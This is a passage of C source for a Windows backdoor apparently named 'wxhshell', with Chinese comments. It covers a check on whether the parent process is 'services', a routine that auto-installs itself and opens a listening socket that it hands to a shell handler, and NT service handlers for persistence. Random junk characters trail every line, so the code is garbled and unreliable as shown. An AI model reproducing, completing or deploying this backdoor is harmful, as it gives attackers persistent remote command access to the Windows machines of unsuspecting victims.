ULONG InheritedFromUniqueProcessId; ]_Xlq_[/r
} PROCESS_BASIC_INFORMATION; g`^x@rj`E
"b[5]Y{
U
PROCNTQSIP NtQueryInformationProcess; mmsPLv6
5xde;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >/\'zi]L
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DlT{`
?upM>69{
HANDLE hProcess; kT?J5u_o
PROCESS_BASIC_INFORMATION pbi; 'S~5"6r
O f#:
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JRFtsio*
if(NULL == hInst ) return 0; "L1Zi.)
[Q =Nn
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); HDKbF/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &zs$x?/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DMS!a$4
&~!Wym
if (!NtQueryInformationProcess) return 0; :EH=_"
M;NX:mX9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q;U,s)Uz^
if(!hProcess) return 0; J;%Xfx]
YP9^Bp{0
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G
j1_!.T
6#yUc_5 \
CloseHandle(hProcess); b\ PgVBf9
iUwzs&frd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S$k&vc(0
if(hProcess==NULL) return 0; Wf<LR3
PX99uWx5]
HMODULE hMod; |' .
char procName[255]; BD-AI
unsigned long cbNeeded; s7EinI{^
9akH
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <X5fUU"+U
bi:8(Q$w:`
CloseHandle(hProcess); aP`P)3O6)1
+O5hH8<&b
if(strstr(procName,"services")) return 1; // 以服务启动 Jl<2>@
L]Mo;kT<Q
return 0; // 注册表启动 875od
} s79r@])=
d\Zng!Z '
// 主模块 &/b~k3{M_
int StartWxhshell(LPSTR lpCmdLine) 2JFpZU"1
{ 6^Sa;
SOCKET wsl; MW{8VH6+
BOOL val=TRUE; N<-Gk6`C/
int port=0; oRzi>rr
struct sockaddr_in door; !by\9
?n
{iLT/i%
if(wscfg.ws_autoins) Install(); H|D.6^
JCaOK2XT;
port=atoi(lpCmdLine); ty`DJO=Omj
sC ;+F*0g
if(port<=0) port=wscfg.ws_port; 0^ibNiSP
6&-(&(_
WSADATA data; G9:l'\
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |I|fMF2K
EIQ
p>|5
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; @o6L6Y0Naa
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =ruao'A
door.sin_family = AF_INET; ]tDDq=+v
door.sin_addr.s_addr = inet_addr("127.0.0.1"); rbCAnwA2
door.sin_port = htons(port); MWL%
Bz
rD>f|kA?L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Yrn)VV[)h
closesocket(wsl); +]50D xflA
return 1; `p7=t)5k
} 'ah[(F<*@e
2|bn(QYz
if(listen(wsl,2) == INVALID_SOCKET) { F/A|(AH'
closesocket(wsl); H4JTGt1"
return 1; S+2(f> Z
} ,1##p77.
Wxhshell(wsl); ,iq4Iw
WSACleanup(); #u
+ v_
4g7)i L^#~
return 0; 69 o7EA
AFfAtu
} l0hlM#
A= {UL
// 以NT服务方式启动 +H2-ZXr
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4,0{7MLgK
{ -S+zmo8
DWORD status = 0; XS BA$y
DWORD specificError = 0xfffffff; p[lA\@l[
-o.:P>/
serviceStatus.dwServiceType = SERVICE_WIN32; Rx|;=-8zg
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _Y[bMuUb=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zsh9>]ML
serviceStatus.dwWin32ExitCode = 0; 9<)NvU^-r
serviceStatus.dwServiceSpecificExitCode = 0; v]c6R-U
serviceStatus.dwCheckPoint = 0; eNu7~3k}
serviceStatus.dwWaitHint = 0; LYg-
.~<I
{GcO3G#FZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XF_pN[}
if (hServiceStatusHandle==0) return; >6pf$0
T${Q.zHY[!
status = GetLastError(); !7&5` q7
if (status!=NO_ERROR) @Pzu^
{ o7LuKRl
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Zva:
serviceStatus.dwCheckPoint = 0; B !=F2
serviceStatus.dwWaitHint = 0; Dl8;$~
serviceStatus.dwWin32ExitCode = status; .q 3/_*
serviceStatus.dwServiceSpecificExitCode = specificError; }Ys>(w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); q8Z<{#oXu
return; ohGfp9H
} 9pxc~=
xpx\=iAe
serviceStatus.dwCurrentState = SERVICE_RUNNING; :Qf '2.h)
serviceStatus.dwCheckPoint = 0; fe#\TNeQJ[
serviceStatus.dwWaitHint = 0; q=qcm`ce
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9lDhIqx0~
} om-omo&,X=
A7hVHxNJ-
// 处理NT服务事件,比如:启动、停止 +V^;.P</
VOID WINAPI NTServiceHandler(DWORD fdwControl) klR|6u]%
{ VEw"
switch(fdwControl) \`\ZTZni
{ 1s@+;QUib
case SERVICE_CONTROL_STOP: Wh2tNyS
serviceStatus.dwWin32ExitCode = 0; "4,?uPi
serviceStatus.dwCurrentState = SERVICE_STOPPED; Eue~Y+K*b
serviceStatus.dwCheckPoint = 0; SrK<fAkx
serviceStatus.dwWaitHint = 0; B\:%ufd
~
{ ,V:SN~P66+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ""QP%
} >q1L2',pK
return; v(D;PS3r
7
case SERVICE_CONTROL_PAUSE: !V g`
serviceStatus.dwCurrentState = SERVICE_PAUSED; =;&yd';k
break; P &e\)Z|
case SERVICE_CONTROL_CONTINUE: (%W&4a1di
serviceStatus.dwCurrentState = SERVICE_RUNNING; \1 &,|\E#
break; x&T [*i
case SERVICE_CONTROL_INTERROGATE: EJ:%}HhA
break; "s_lP&nq
}; QM#4uI55B
SetServiceStatus(hServiceStatusHandle, &serviceStatus); E5lBdM>2
} 9dUravC7
_ T):G6C8
// 标准应用程序主函数 {"QNJq#:
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /&+tf*
{ `o8/(`a
-f>%+<